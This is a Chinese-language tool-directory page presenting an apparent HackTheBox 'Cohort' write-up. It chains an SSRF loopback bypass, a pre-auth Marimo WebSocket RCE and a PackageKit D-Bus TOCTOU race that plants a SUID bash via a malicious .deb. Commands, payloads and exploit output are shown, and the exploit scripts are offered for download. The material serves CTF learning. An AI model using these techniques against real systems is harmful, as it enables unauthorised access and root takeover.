Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cohort-htb — HTB Cohort - SSRF、Marimo 预认证 RCE(CVE-2026-39987)以及 PackageKit 提权(CVE-2026-41651) | Kitploit
工具/GitHubGitHub/iapetus12/cohort-htb
权限提升漏洞分析漏洞利用Web应用程序漏洞利用后渗透利用CTF渗透测试学习与教育红队Archived
GitHubiapetus12/cohort-htb

cohort-htb

HTB Cohort - SSRF、Marimo 预认证 RCE(CVE-2026-39987)以及 PackageKit 提权(CVE-2026-41651)

1个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库

Cohort — HTB writeup 与漏洞利用链

机器 Cohort(HackTheBox)。完整攻击链:

  1. Flask API(/api/validate)中的 SSRF → 内部 vhost 发现
  2. Marimo 0.20.4 WebSocket 终端中的 预认证 RCE(CVE-2026-39987)→ 以 marimo 身份获取 shell
  3. 通过 PackageKit 1.2.8 D-Bus TOCTOU 进行 权限提升(CVE-2026-41651)→ SUID bash → root

Flag 有意未包含(HTB 规则)。


1. 侦察与枚举

root@kitploit:~
10.129.93.8        cohort.htb
  • 8080 — nginx 提供 Flask 应用(/api/... 端点)
  • 8888 — 内部 Marimo notebook 服务器(vhost:nb-1be3782a8afd3ad5.cohort.htb),未对外暴露

2. SSRF → 内部 vhost 发现

该应用暴露了一个 URL 验证 端点,它会获取远程内容并将其回显。 URL 过滤器可以通过对回环地址进行编码来绕过:

root@kitploit:~
POST /api/validate HTTP/1.1
Host: cohort.htb

{"url": "http://127.1:80/status"}

这访问到了内部 nginx,并揭示了配置的 upstreams,包括 内部 Marimo vhost nb-1be3782a8afd3ad5.cohort.htb → 127.0.0.1:8888。

3. 预认证 RCE — Marimo 0.20.4(CVE-2026-39987)

Marimo 的 notebook WebSocket 终端处理器 未验证身份认证。 连接到 /terminal/ws 会通过 pty.fork() 生成一个 bash shell。

通过发送内部 Host 头,可以通过外部 nginx 访问到内部 vhost:

root@kitploit:~
./scripts/marimo_shell.py 10.129.93.8
root@kitploit:~
[+] connected to wss://10.129.93.8/terminal/ws host=nb-1be3782a8afd3ad5.cohort.htb
marimo@cohort:~$

结果:以 marimo 身份获取 shell(uid 1000)。

以 marimo 身份进行枚举

  • dpkg -l | grep -i packagekit → PackageKit 1.2.8-2ubuntu1.1
  • pkcon / polkit 版本符合易受攻击的 TOCTOU 模式
  • Flag user.txt 位于 /home/marimo/user.txt

4. 权限提升 — PackageKit TOCTOU(CVE-2026-41651)

漏洞

PackageKit 1.2.8 存在一个 检查时间 / 使用时间 缺陷:GLib 空闲回调读取的事务角色和 标志可以被 竞争,方法是在同一事务上发起两个异步 D-Bus 调用, 这样特权后端会执行第二个调用(角色 NONE, 无认证检查),即使第一个调用(SIMULATE)已经通过了授权 检查。

在同一事务上连续发起两个调用:

  1. InstallFiles(SIMULATE=4) — 通过 polkit 授权检查
  2. InstallFiles(NONE=0) — 携带恶意 .deb,作为同一 消息批次的一部分被读取

恶意 .deb 会以 root 身份运行 postinst 脚本,从而放置一个 SUID bash:

root@kitploit:~
cp /bin/bash /tmp/.suid_bash && chmod u+s /tmp/.suid_bash

可用的漏洞利用

关键细节:两个调用必须 一起 刷新,以便后端在同一个批次中读取两条 消息。使用 GIO 异步 call() + flush_sync():

root@kitploit:~
./scripts/cve-2026-41651_gio.py
root@kitploit:~
[*] CVE-2026-41651 GIO exploit
[+] TxID: /org/freedesktop/PackageKit/Transaction/22/_c3e63a1a
[*] Racing: SIMULATE=4 -> NONE=0 ...
[*] Polling for SUID bash (60s)...
........................[+] SUCCESS: SUID bash at /tmp/.suid_bash

为什么第一次尝试失败了

最初的漏洞利用使用了 python-dbus:

root@kitploit:~
./scripts/cve-2026-41651_pydbus.py   # ❌ race lost

python-dbus 将两个 InstallFiles 调用序列化为 独立的写入,因此 后端的空闲回调将它们作为独立事件处理,竞争从未命中。 GIO 的 flush_sync 将两条 D-Bus 消息在单个写入批次中发送 → 竞争获胜。

Root

root@kitploit:~
/tmp/.suid_bash -p -c 'id'
# uid=1000(marimo) euid=0(root) ...

/root/root.txt 可读。


文件

root@kitploit:~
scripts/
├── marimo_shell.py           # CVE-2026-39987 — WebSocket shell as marimo
├── cve-2026-41651_gio.py     # CVE-2026-41651 — PackageKit TOCTOU (working, GIO)
└── cve-2026-41651_pydbus.py  # CVE-2026-41651 — first attempt (python-dbus, race lost)
下载工具